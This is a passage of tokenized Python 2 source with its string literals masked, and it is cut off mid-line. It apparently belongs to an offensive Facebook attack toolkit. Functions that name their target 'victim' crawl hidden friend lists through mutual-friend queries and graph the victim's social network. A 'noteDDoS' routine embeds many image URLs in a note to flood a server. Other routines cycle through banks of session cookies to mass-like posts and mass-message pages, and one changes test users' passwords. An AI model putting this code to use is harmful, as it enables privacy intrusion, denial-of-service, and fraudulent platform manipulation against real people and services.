<EOL> linea = friendshipFile . readline ( ) <EOL> if not linea : <EOL> break <EOL> visited . append ( linea . strip ( "<STR_LIT>" ) ) <EOL> friendshipFile . close ( ) <EOL> except : <EOL> friendshipFile = open ( os . path . join ( "<STR_LIT>" , victim + "<STR_LIT>" ) , "<STR_LIT:wb>" ) <EOL> friendshipFile . close ( ) <EOL> try : <EOL> result = coreFriendshipPrivacy ( victim , transitive ) <EOL> except : <EOL> print '<STR_LIT>' , <EOL> raw_input ( '<STR_LIT>' ) , <EOL> return <EOL> for individuos in result : <EOL> if individuos not in visited : <EOL> friendships . append ( individuos ) <EOL> i = <NUM_LIT:0.0> <EOL> print '<STR_LIT>' , <EOL> for friends in friendships : <EOL> percentage = ( i * <NUM_LIT> ) / len ( friendships ) <EOL> flush ( ) <EOL> print '<STR_LIT>' % ( i , len ( friendships ) , percentage ) , <EOL> i += <NUM_LIT:1> <EOL> if friends not in visited : <EOL> state = True <EOL> while state == True : <EOL> try : <EOL> result = coreFriendshipPrivacy ( victim , friends ) <EOL> state = False <EOL> except signalCaught as e : <EOL> state = False <EOL> print '<STR_LIT>' <EOL> print '<STR_LIT>' % e . args [ <NUM_LIT:0> ] <EOL> return <EOL> except : <EOL> print '<STR_LIT>' , <EOL> raw_input ( '<STR_LIT>' ) , <EOL> for element in result : <EOL> if element not in friendships : <EOL> friendships . append ( element ) <EOL> visited . append ( friends ) <EOL> try : <EOL> friendshipFile = open ( os . path . join ( "<STR_LIT>" , victim + "<STR_LIT>" ) , "<STR_LIT>" ) <EOL> except : <EOL> friendshipFile = open ( os . path . join ( "<STR_LIT>" , victim + "<STR_LIT>" ) , "<STR_LIT:wb>" ) <EOL> for friends in friendships : <EOL> friendshipFile . write ( str ( friends ) + '<STR_LIT:\n>' ) <EOL> friendshipFile . close ( ) <EOL> def corePagesLike ( victim , transitive ) : <EOL> matchs = [ ] <EOL> begin = <NUM_LIT:0> <EOL> page = [ ] <EOL> try : <EOL> response = br . open ( '<STR_LIT>' + str ( victim ) + '<STR_LIT>' + str ( transitive ) + '<STR_LIT>' ) <EOL> resultado = response . read ( ) <EOL> match = re . search ( '<STR_LIT>' , resultado ) <EOL> if match is not None : <EOL> linea = re . search ( '<STR_LIT>' , resultado ) . group ( ) <EOL> except mechanize . HTTPError as e : <EOL> print e . code <EOL> raise <EOL> except mechanize . URLError as e : <EOL> print e . reason . args <EOL> raise <EOL> except : <EOL> raise <EOL> while True : <EOL> match = re . search ( '<STR_LIT>' , resultado [ begin : ] ) <EOL> if match != None : <EOL> matchEnd = re . search ( '<STR_LIT:\n>' , resultado [ begin + match . start ( ) : ] ) <EOL> if matchEnd != None : <EOL> matchs . append ( resultado [ begin + match . start ( ) : matchEnd . end ( ) + begin + match . start ( ) ] ) <EOL> begin = matchEnd . end ( ) + begin + match . start ( ) <EOL> match = None <EOL> matchEnd = None <EOL> else : <EOL> break <EOL> for linea in matchs : <EOL> start = <NUM_LIT:0> <EOL> try : <EOL> matchAnd = re . search ( '<STR_LIT>' , linea [ start : ] ) <EOL> matchEnd = re . search ( '<STR_LIT>' , linea [ start + matchAnd . end ( ) : ] ) <EOL> except : <EOL> print '<STR_LIT>' <EOL> if ( matchAnd and matchEnd ) is not None : <EOL> page . append ( linea [ start + matchAnd . end ( ) : start + matchEnd . start ( ) + matchAnd . end ( ) ] ) <EOL> start += matchEnd . start ( ) + matchAnd . end ( ) <EOL> return page <EOL> def checkPrivacy ( victim ) : <EOL> try : <EOL> response = br . open ( '<STR_LIT>' + str ( victim ) + '<STR_LIT>' ) <EOL> resultado = response . read ( ) <EOL> match = re . search ( '<STR_LIT>' , resultado ) <EOL> matchBis = re . search ( '<STR_LIT>' , resultado ) <EOL> matchBisBis = re . search ( '<STR_LIT>' , resultado ) <EOL> if ( ( match is not None ) or ( matchBis is not None ) or ( matchBisBis is not None ) ) : <EOL> matchFriends = re . search ( '<STR_LIT>' , resultado ) . group ( ) <EOL> return matchFriends <EOL> else : <EOL> return - <NUM_LIT:1> <EOL> except : <EOL> print '<STR_LIT>' <EOL> return - <NUM_LIT:1> <EOL> def simpleGraph ( friends , victim ) : <EOL> coleccion = { } <EOL> nodeID = <NUM_LIT:0> <EOL> root = '<STR_LIT>' <EOL> directory = str ( victim ) <EOL> mkdir ( directory , root ) <EOL> myGraph = nx . Graph ( ) <EOL> myGraphLabeled = nx . Graph ( ) <EOL> coleccion [ victim ] = nodeID <EOL> victima = nodeID <EOL> myGraph . add_node ( victima ) <EOL> nodeID += <NUM_LIT:1> <EOL> try : <EOL> friendshipFile = open ( os . path . join ( root , directory , victim + "<STR_LIT>" ) , "<STR_LIT>" ) <EOL> except : <EOL> friendshipFile = open ( os . path . join ( root , directory , victim + "<STR_LIT>" ) , "<STR_LIT:wb>" ) <EOL> try : <EOL> usersAndID = pickle . load ( open ( os . path . join ( '<STR_LIT>' , victim , victim + "<STR_LIT>" ) , "<STR_LIT:rb>" ) ) <EOL> except : <EOL> print '<STR_LIT>' <EOL> try : <EOL> myGraphLabeled . add_node ( usersAndID [ victim ] ) <EOL> except : <EOL> myGraphLabeled . add_node ( victim ) <EOL> total = len ( friends ) <EOL> i = <NUM_LIT:0.0> <EOL> print '<STR_LIT>' <EOL> print '<STR_LIT>' <EOL> for friend in friends : <EOL> percentage = ( i * <NUM_LIT> ) / total <EOL> flush ( ) <EOL> print '<STR_LIT>' % ( i , total , percentage ) , <EOL> i += <NUM_LIT:1> <EOL> friendshipFile . write ( str ( friend ) + '<STR_LIT:\n>' ) <EOL> try : <EOL> mutual = coreFriendshipPrivacy ( victim , friend ) <EOL> except : <EOL> continue <EOL> coleccion [ friend ] = nodeID <EOL> nodeID += <NUM_LIT:1> <EOL> if myGraph . has_node ( friend ) != True : <EOL> myGraph . add_node ( friend ) <EOL> try : <EOL> myGraphLabeled . add_node ( usersAndID [ friend ] ) <EOL> except : <EOL> myGraphLabeled . add_node ( friend ) <EOL> if myGraph . has_edge ( victima , friend ) != True : <EOL> myGraph . add_edge ( victima , friend ) <EOL> try : <EOL> myGraphLabeled . add_edge ( usersAndID [ victim ] , usersAndID [ friend ] ) <EOL> except : <EOL> myGraphLabeled . add_edge ( victim , friend ) <EOL> for element in mutual : <EOL> if myGraph . has_node ( element ) != True : <EOL> myGraph . add_node ( element ) <EOL> myGraph . add_edge ( element , friend ) <EOL> try : <EOL> myGraphLabeled . add_node ( usersAndID [ element ] ) <EOL> myGraphLabeled . add_edge ( usersAndID [ element ] , usersAndID [ friend ] ) <EOL> except : <EOL> myGraphLabeled . add_node ( element ) <EOL> myGraphLabeled . add_edge ( element , friend ) <EOL> friendshipFile . close ( ) <EOL> mkdir ( '<STR_LIT>' , os . path . join ( root , directory ) ) <EOL> A = nx . adj_matrix ( myGraph ) <EOL> saveObjects ( victim , A , coleccion ) <EOL> nx . draw_spring ( myGraph , node_color = np . linspace ( <NUM_LIT:0> , <NUM_LIT:1> , len ( myGraph . nodes ( ) ) ) , edge_color = np . linspace ( <NUM_LIT:0> , <NUM_LIT:1> , len ( myGraph . edges ( ) ) ) , with_labels = True ) <EOL> plt . savefig ( os . path . join ( root , directory , victim + "<STR_LIT>" ) ) <EOL> plt . savefig ( os . path . join ( root , directory , victim + "<STR_LIT>" ) ) <EOL> write_dot ( myGraph , os . path . join ( root , directory , victim + "<STR_LIT>" ) ) <EOL> plt . show ( ) <EOL> nx . draw_spring ( myGraphLabeled , node_color = np . linspace ( <NUM_LIT:0> , <NUM_LIT:1> , len ( myGraphLabeled . nodes ( ) ) ) , edge_color = np . linspace ( <NUM_LIT:0> , <NUM_LIT:1> , len ( myGraphLabeled . edges ( ) ) ) , with_labels = True ) <EOL> plt . savefig ( os . path . join ( root , directory , victim + "<STR_LIT>" ) ) <EOL> plt . savefig ( os . path . join ( root , directory , victim + "<STR_LIT>" ) ) <EOL> write_dot ( myGraphLabeled , os . path . join ( root , directory , victim + "<STR_LIT>" ) ) <EOL> plt . show ( ) <EOL> def checkMe ( username ) : <EOL> if username == '<STR_LIT>' : <EOL> driver = webdriver . Firefox ( ) <EOL> driver . get ( "<STR_LIT>" ) <EOL> cookies = pickle . load ( open ( "<STR_LIT>" , "<STR_LIT:rb>" ) ) <EOL> for cookie in cookies : <EOL> driver . add_cookie ( cookie ) <EOL> driver . get ( "<STR_LIT>" ) <EOL> name = driver . current_url <EOL> name = name . replace ( "<STR_LIT>" , "<STR_LIT>" ) <EOL> match = re . search ( "<STR_LIT>" , name ) <EOL> if match is not None : <EOL> username = match . group ( ) <EOL> driver . close ( ) <EOL> return username <EOL> def friendshipPlot ( text , victim ) : <EOL> friends = [ ] <EOL> friendsID = [ ] <EOL> getFriends ( victim ) <EOL> try : <EOL> friendsFile = open ( os . path . join ( '<STR_LIT>' , victim , victim + "<STR_LIT>" ) , "<STR_LIT:r>" ) <EOL> except : <EOL> print '<STR_LIT>' <EOL> return <EOL> while True : <EOL> linea = friendsFile . readline ( ) <EOL> if not linea : <EOL> break <EOL> friends . append ( linea . strip ( '<STR_LIT:\r\n>' ) ) <EOL> print '<STR_LIT>' <EOL> getUserIDS ( victim ) <EOL> try : <EOL> friendsIdFile = open ( os . path . join ( '<STR_LIT>' , victim , victim + "<STR_LIT>" ) , "<STR_LIT:r>" ) <EOL> except : <EOL> print '<STR_LIT>' <EOL> return <EOL> while True : <EOL> linea = friendsIdFile . readline ( ) <EOL> if not linea : <EOL> break <EOL> friendsID . append ( linea . strip ( '<STR_LIT:\r\n>' ) ) <EOL> return friendsID , friends <EOL> def coreFriendshipPrivacy ( victim , transitive ) : <EOL> friends = [ ] <EOL> try : <EOL> response = br . open ( '<STR_LIT>' + str ( victim ) + '<STR_LIT>' + str ( transitive ) + '<STR_LIT>' ) <EOL> resultado = response . read ( ) <EOL> match = re . search ( '<STR_LIT>' , resultado ) <EOL> if match is not None : <EOL> linea = re . search ( '<STR_LIT>' , resultado ) . group ( ) <EOL> except mechanize . HTTPError as e : <EOL> print e . code <EOL> raise <EOL> except mechanize . URLError as e : <EOL> print e . reason . args <EOL> raise <EOL> except : <EOL> raise <EOL> start = <NUM_LIT:0> <EOL> while True : <EOL> try : <EOL> matchAnd = re . search ( '<STR_LIT>' , linea [ start : ] ) <EOL> matchEnd = re . search ( '<STR_LIT>' , linea [ start + matchAnd . end ( ) : ] ) <EOL> if ( matchAnd and matchEnd ) is not None : <EOL> toUserID = linea [ start + matchAnd . end ( ) : start + matchEnd . start ( ) + matchAnd . end ( ) ] <EOL> if toUserID not in friends : <EOL> friends . append ( toUserID ) <EOL> start += matchEnd . start ( ) + matchAnd . end ( ) <EOL> except : <EOL> match = re . search ( '<STR_LIT>' , resultado ) <EOL> if match is not None : <EOL> extend = seeMore ( len ( friends ) , victim , transitive ) <EOL> return list ( set ( extend + friends ) ) <EOL> else : <EOL> return friends <EOL> def seeMore ( start , victim , transitive ) : <EOL> victimId = getUserID ( victim ) <EOL> transitiveId = getUserID ( transitive ) <EOL> extendedFriends = [ ] <EOL> if ( victimId == - <NUM_LIT:1> ) or ( transitiveId == - <NUM_LIT:1> ) : <EOL> return extendedFriends <EOL> while True : <EOL> try : <EOL> response = br . open ( '<STR_LIT>' + str ( transitiveId ) + '<STR_LIT>' + str ( victimId ) + '<STR_LIT>' + str ( start ) + '<STR_LIT>' + str ( getC_user ( ) ) + '<STR_LIT>' ) <EOL> except mechanize . HTTPError as e : <EOL> print e . code <EOL> except mechanize . URLError as e : <EOL> print e . reason . args <EOL> except : <EOL> raise <EOL> to_parse = str ( response . read ( ) ) . strip ( '<STR_LIT>' ) <EOL> try : <EOL> json_dump = json . loads ( to_parse ) <EOL> except : <EOL> print '<STR_LIT>' <EOL> return extendedFriends <EOL> offset = <NUM_LIT:0> <EOL> NoneFlag = True <EOL> for element in range ( len ( json_dump [ '<STR_LIT>' ] [ '<STR_LIT>' ] ) ) : <EOL> if json_dump [ '<STR_LIT>' ] [ '<STR_LIT>' ] [ element ] [ <NUM_LIT:0> ] == unicode ( '<STR_LIT>' ) : <EOL> NoneFlag = False <EOL> offset += <NUM_LIT:1> <EOL> extendedFriends . append ( json_dump [ '<STR_LIT>' ] [ '<STR_LIT>' ] [ element ] [ <NUM_LIT:3> ] [ <NUM_LIT:1> ] ) <EOL> if NoneFlag : <EOL> break <EOL> start += offset <EOL> return extendedFriends <EOL> def getUserID ( user ) : <EOL> try : <EOL> response = br . open ( '<STR_LIT>' + str ( user ) ) <EOL> data = response . read ( ) <EOL> except mechanize . HTTPError as e : <EOL> print e . code <EOL> return - <NUM_LIT:1> <EOL> except mechanize . URLError as e : <EOL> print e . reason . args <EOL> return - <NUM_LIT:1> <EOL> try : <EOL> match = re . search ( "<STR_LIT>" , data ) <EOL> if match is not None : <EOL> start = match . end ( ) <EOL> matchBis = re . search ( '<STR_LIT:">' , data [ start : ] ) <EOL> if matchBis is not None : <EOL> return data [ start : start + matchBis . start ( ) ] <EOL> except : <EOL> return user <EOL> def logs ( messagelog ) : <EOL> logging . basicConfig ( filename = os . path . join ( "<STR_LIT>" , "<STR_LIT>" ) , level = logging . NOTSET , format = '<STR_LIT>' ) <EOL> cTime = ctime ( time ( ) ) <EOL> log = str ( cTime ) + '<STR_LIT>' + str ( messagelog ) <EOL> logging . debug ( log ) <EOL> def dotFile ( victim , transitive ) : <EOL> root = '<STR_LIT>' <EOL> directory = str ( victim ) <EOL> mkdir ( directory , root ) <EOL> myGraph = open ( os . path . join ( root , directory , victim + "<STR_LIT>" ) , "<STR_LIT:wb>" ) <EOL> myGraph . write ( '<STR_LIT>' ) <EOL> percentage = <NUM_LIT:0.0> <EOL> friendships = [ ] <EOL> visited = [ ] <EOL> try : <EOL> friendshipFile = open ( os . path . join ( root , directory , victim + "<STR_LIT>" ) , "<STR_LIT:rb>" ) <EOL> while True : <EOL> linea = friendshipFile . readline ( ) <EOL> if not linea : <EOL> break <EOL> visited . append ( linea . strip ( "<STR_LIT>" ) ) <EOL> friendshipFile . close ( ) <EOL> except : <EOL> friendshipFile = open ( os . path . join ( root , directory , victim + "<STR_LIT>" ) , "<STR_LIT:wb>" ) <EOL> friendshipFile . close ( ) <EOL> try : <EOL> result = coreFriendshipPrivacy ( victim , transitive ) <EOL> except : <EOL> print '<STR_LIT>' <EOL> return <EOL> transitivo = getName ( transitive ) <EOL> for individuos in result : <EOL> if individuos not in visited : <EOL> chabon = getName ( individuos ) <EOL> myGraph . write ( '<STR_LIT>' + transitivo + '<STR_LIT>' + chabon + '<STR_LIT>' ) <EOL> friendships . append ( individuos ) <EOL> visited . append ( getUserID ( transitive ) ) <EOL> i = <NUM_LIT:0.0> <EOL> print '<STR_LIT>' , <EOL> for friends in friendships : <EOL> percentage = ( i * <NUM_LIT> ) / len ( friendships ) <EOL> flush ( ) <EOL> print '<STR_LIT>' % ( i , len ( friendships ) , percentage ) , <EOL> i += <NUM_LIT:1> <EOL> if friends not in visited : <EOL> state = True <EOL> while state == True : <EOL> try : <EOL> result = coreFriendshipPrivacy ( victim , friends ) <EOL> state = False <EOL> except signalCaught as e : <EOL> state = False <EOL> print '<STR_LIT>' <EOL> print '<STR_LIT>' % e . args [ <NUM_LIT:0> ] <EOL> return <EOL> except : <EOL> logs ( '<STR_LIT>' ) <EOL> print '<STR_LIT>' , <EOL> a = raw_input ( '<STR_LIT>' ) <EOL> if a == <NUM_LIT:1> : <EOL> state = False <EOL> else : <EOL> if a == <NUM_LIT:2> : <EOL> email , password = setMail ( ) <EOL> login ( email , password , '<STR_LIT>' ) <EOL> friendName = getName ( friends ) <EOL> for element in result : <EOL> if element not in friendships : <EOL> transitive = getName ( element ) <EOL> myGraph . write ( '<STR_LIT>' + friendName + '<STR_LIT>' + transitive + '<STR_LIT>' ) <EOL> friendships . append ( element ) <EOL> visited . append ( friends ) <EOL> try : <EOL> friendshipFile = open ( os . path . join ( root , directory , victim + "<STR_LIT>" ) , "<STR_LIT>" ) <EOL> except : <EOL> friendshipFile = open ( os . path . join ( root , directory , victim + "<STR_LIT>" ) , "<STR_LIT:wb>" ) <EOL> for friends in friendships : <EOL> transitivo = getName ( friends ) <EOL> myGraph . write ( '<STR_LIT>' + victim + '<STR_LIT>' + transitivo + '<STR_LIT>' ) <EOL> friendshipFile . write ( str ( friends ) + '<STR_LIT:\n>' ) <EOL> myGraph . write ( '<STR_LIT:}>' ) <EOL> friendshipFile . close ( ) <EOL> myGraph . close ( ) <EOL> def simpleDotGraph ( friends , victim ) : <EOL> root = '<STR_LIT>' <EOL> directory = str ( victim ) <EOL> mkdir ( directory , root ) <EOL> myGraph = open ( os . path . join ( root , directory , victim + "<STR_LIT>" ) , "<STR_LIT:wb>" ) <EOL> myGraph . write ( '<STR_LIT>' ) <EOL> friendshipFile = open ( os . path . join ( root , directory , victim + "<STR_LIT>" ) , "<STR_LIT:wb>" ) <EOL> for friend in friends : <EOL> friendshipFile . write ( str ( friend ) + '<STR_LIT:\n>' ) <EOL> friendshipFile . close ( ) <EOL> for friend in friends : <EOL> try : <EOL> mutual = coreFriendshipPrivacy ( victim , friend ) <EOL> except : <EOL> continue <EOL> transitive = getName ( friend ) <EOL> myGraph . write ( '<STR_LIT>' + victim + '<STR_LIT>' + transitive + '<STR_LIT>' ) <EOL> for element in mutual : <EOL> mutualFriend = getName ( element ) <EOL> myGraph . write ( '<STR_LIT>' + transitive + '<STR_LIT>' + mutualFriend + '<STR_LIT>' ) <EOL> myGraph . write ( '<STR_LIT:}>' ) <EOL> myGraph . close ( ) <EOL> def noteDDoS ( imageURL , noteID , privacy ) : <EOL> fb_dtsg = set_dtsg ( ) <EOL> if ( fb_dtsg == <NUM_LIT:0> ) : <EOL> print '<STR_LIT>' <EOL> j = int ( raw_input ( '<STR_LIT>' ) ) <EOL> amount = int ( raw_input ( '<STR_LIT>' ) ) <EOL> title = raw_input ( '<STR_LIT>' ) <EOL> content = '<STR_LIT>' + raw_input ( '<STR_LIT>' ) + '<STR_LIT>' <EOL> for i in range ( j , int ( amount ) ) : <EOL> content += '<STR_LIT>' + imageURL + '<STR_LIT>' + str ( i ) + '<STR_LIT>' <EOL> arguments = { <EOL> '<STR_LIT>' : fb_dtsg , <EOL> '<STR_LIT>' : noteID , <EOL> '<STR_LIT>' : noteID , <EOL> '<STR_LIT:id>' : getC_user ( ) , <EOL> '<STR_LIT:title>' : title , <EOL> '<STR_LIT>' : content , <EOL> '<STR_LIT>' + noteID + '<STR_LIT>' : privacy , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : getC_user ( ) , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' <EOL> } <EOL> datos = urlencode ( arguments ) <EOL> try : <EOL> response = br . open ( '<STR_LIT>' , datos ) <EOL> except mechanize . HTTPError as e : <EOL> logs ( e . code ) <EOL> print e . code <EOL> except mechanize . URLError as e : <EOL> logs ( e . reason . args ) <EOL> print e . reason . args <EOL> except : <EOL> logs ( '<STR_LIT>' ) <EOL> print '<STR_LIT>' <EOL> raise <EOL> def devTest ( appID ) : <EOL> try : <EOL> fb_dtsg = set_dtsg ( ) <EOL> if ( fb_dtsg == <NUM_LIT:0> ) : <EOL> print '<STR_LIT>' <EOL> br . open ( '<STR_LIT>' ) . read ( ) <EOL> arguments = { <EOL> '<STR_LIT>' : fb_dtsg , <EOL> '<STR_LIT:count>' : '<STR_LIT:4>' , <EOL> '<STR_LIT>' : str ( appID ) , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : getC_user ( ) , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:3>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' <EOL> } <EOL> datos = urlencode ( arguments ) <EOL> response = br . open ( '<STR_LIT>' , datos ) <EOL> except mechanize . HTTPError as e : <EOL> logs ( e . code ) <EOL> print e . code <EOL> except mechanize . URLError as e : <EOL> logs ( e . reason . args ) <EOL> print e . reason . args <EOL> except : <EOL> logs ( '<STR_LIT>' ) <EOL> print '<STR_LIT>' <EOL> raise <EOL> '''<STR_LIT>''' <EOL> def getTest ( appID ) : <EOL> try : <EOL> start = <NUM_LIT:0> <EOL> flag = <NUM_LIT:0> <EOL> while flag != - <NUM_LIT:1> : <EOL> fb_dtsg = set_dtsg ( ) <EOL> if ( fb_dtsg == <NUM_LIT:0> ) : <EOL> print '<STR_LIT>' <EOL> arguments = { <EOL> '<STR_LIT:start>' : str ( start ) , <EOL> '<STR_LIT>' : getC_user ( ) , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:4>' , <EOL> '<STR_LIT>' : fb_dtsg , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' <EOL> } <EOL> datos = urlencode ( arguments ) <EOL> try : <EOL> response = br . open ( '<STR_LIT>' + appID + '<STR_LIT>' , datos ) <EOL> aParsear = response . read ( ) . strip ( "<STR_LIT>" ) <EOL> json_dump = json . loads ( aParsear ) <EOL> flag = MyParser . parceros ( json_dump ) <EOL> start += <NUM_LIT:20> <EOL> except : <EOL> break <EOL> except : <EOL> print '<STR_LIT>' <EOL> def changePassword ( appID ) : <EOL> people = database . getUsers ( ) <EOL> peopleLogged = database . getUsersNotLogged ( ) <EOL> for persona in people : <EOL> if persona in peopleLogged : <EOL> try : <EOL> fb_dtsg = set_dtsg ( ) <EOL> if ( fb_dtsg == <NUM_LIT:0> ) : <EOL> print '<STR_LIT>' <EOL> arguments = { <EOL> '<STR_LIT>' : fb_dtsg , <EOL> '<STR_LIT:name>' : str ( persona [ <NUM_LIT:1> ] ) , <EOL> '<STR_LIT:password>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : getC_user ( ) , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:a>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' <EOL> } <EOL> datos = urlencode ( arguments ) <EOL> try : <EOL> response = br . open ( '<STR_LIT>' + appID + '<STR_LIT>' + str ( persona [ <NUM_LIT:0> ] ) , datos ) <EOL> except : <EOL> print '<STR_LIT:error>' <EOL> except : <EOL> print '<STR_LIT>' <EOL> def likeDev ( postId ) : <EOL> signal . signal ( signal . SIGINT , signal_handler ) <EOL> try : <EOL> masterCookie = cj . _cookies <EOL> massLoginTest ( ) <EOL> if len ( cookieArray ) == <NUM_LIT:0> : <EOL> print '<STR_LIT>' <EOL> quantity = raw_input ( '<STR_LIT>' ) <EOL> while int ( quantity ) <= <NUM_LIT:0> or int ( quantity ) >= len ( cookieArray ) : <EOL> print '<STR_LIT>' <EOL> quantity = raw_input ( '<STR_LIT>' ) <EOL> percentage = <NUM_LIT:0.0> <EOL> j = <NUM_LIT:0.0> <EOL> total = int ( quantity ) * len ( postId ) <EOL> print '<STR_LIT>' , <EOL> for i in range ( int ( quantity ) ) : <EOL> for post in range ( len ( postId ) ) : <EOL> cj . _cookies = cookieArray [ i ] <EOL> c_user = getC_user ( ) <EOL> try : <EOL> fb_dtsg = set_dtsg ( ) <EOL> if ( fb_dtsg == <NUM_LIT:0> ) : <EOL> print '<STR_LIT>' <EOL> arguments = { <EOL> '<STR_LIT>' : '<STR_LIT:true>' , <EOL> '<STR_LIT>' : str ( postId [ post ] ) , <EOL> '<STR_LIT:source>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : str ( c_user ) + '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : c_user , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:c>' , <EOL> '<STR_LIT>' : fb_dtsg , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> } <EOL> datos = urlencode ( arguments ) <EOL> response = br . open ( '<STR_LIT>' , datos ) <EOL> if globalLogging : <EOL> logs ( response . read ( ) ) <EOL> percentage = ( j * <NUM_LIT> ) / total <EOL> flush ( ) <EOL> print '<STR_LIT>' % ( percentage ) , <EOL> j += <NUM_LIT:1> <EOL> except mechanize . HTTPError as e : <EOL> print e . code <EOL> except mechanize . URLError as e : <EOL> print e . reason . args <EOL> except : <EOL> print '<STR_LIT>' <EOL> cj . _cookies = masterCookie <EOL> raw_input ( '<STR_LIT>' ) <EOL> except signalCaught as e : <EOL> deleteUser ( ) <EOL> message = '<STR_LIT>' % e . args [ <NUM_LIT:0> ] <EOL> logs ( str ( message ) ) <EOL> print '<STR_LIT>' % message <EOL> raw_input ( '<STR_LIT>' ) <EOL> return <EOL> def massMessage ( page , message ) : <EOL> import random <EOL> massLoginTest ( ) <EOL> if len ( cookieArray ) == <NUM_LIT:0> : <EOL> print '<STR_LIT>' <EOL> return <EOL> pageID = getUserID ( page ) <EOL> for i in range ( len ( cookieArray ) ) : <EOL> try : <EOL> cj . _cookies = cookieArray [ i ] <EOL> c_user = getC_user ( ) <EOL> print str ( c_user ) + '<STR_LIT:\n>' <EOL> numero = '<STR_LIT>' <EOL> numero2 = '<STR_LIT>' <EOL> for i in range ( <NUM_LIT:10> ) : <EOL> numero += str ( random . randrange ( <NUM_LIT:0> , <NUM_LIT:10> ) ) <EOL> for i in range ( <NUM_LIT:10> ) : <EOL> numero2 += str ( random . randrange ( <NUM_LIT:0> , <NUM_LIT:10> ) ) <EOL> fb_dtsg = set_dtsg ( ) <EOL> if ( fb_dtsg == <NUM_LIT:0> ) : <EOL> print '<STR_LIT>' <EOL> arguments = { <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' + c_user , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : message , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT>' + pageID , <EOL> '<STR_LIT>' : '<STR_LIT>' + c_user , <EOL> '<STR_LIT>' : '<STR_LIT:true>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT>' + numero + '<STR_LIT:->' + numero2 + '<STR_LIT>' , <EOL> '''<STR_LIT>''' <EOL> '<STR_LIT>' : '<STR_LIT>' + pageID , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : c_user , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:q>' , <EOL> '<STR_LIT>' : fb_dtsg , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' <EOL> } <EOL> datos = urlencode ( arguments ) <EOL> response = br . open ( '<STR_LIT>' , datos ) <EOL> if globalLogging : <EOL> logs ( response . read ( ) ) <EOL> except mechanize . HTTPError as e : <EOL> print e . code <EOL> except mechanize . URLError as e : <EOL> print e . reason . args <EOL> except : <EOL> logs ( '<STR_LIT>' ) <EOL> print '<STR_LIT>' <EOL> def logTestUser ( testUser ) : <EOL> try : <EOL> fb_dtsg = set_dtsg ( ) <EOL> if ( fb_dtsg == <NUM_LIT:0> ) : <EOL> print '<STR_LIT>' <EOL> c_user = getC_user ( ) <EOL> arguments = { <EOL> '<STR_LIT>' : testUser , <EOL> '<STR_LIT>' : c_user , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:2>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : fb_dtsg , <EOL> } <EOL> datos = urlencode ( arguments ) <EOL> response = br . open ( '<STR_LIT>' , datos ) <EOL> dump = json . loads ( response . read ( ) . strip ( "<STR_LIT>" ) ) <EOL> line = dump [ '<STR_LIT>' ] [ '<STR_LIT>' ] [ <NUM_LIT:0> ] [ <NUM_LIT:1> ] [ '<STR_LIT>' ] <EOL> match = re . search ( '<STR_LIT>' , line ) <EOL> if match != None : <EOL> matchBis = re . search ( '<STR_LIT>' , line [ match . end ( ) : ] ) <EOL> matchBisBis = re . search ( 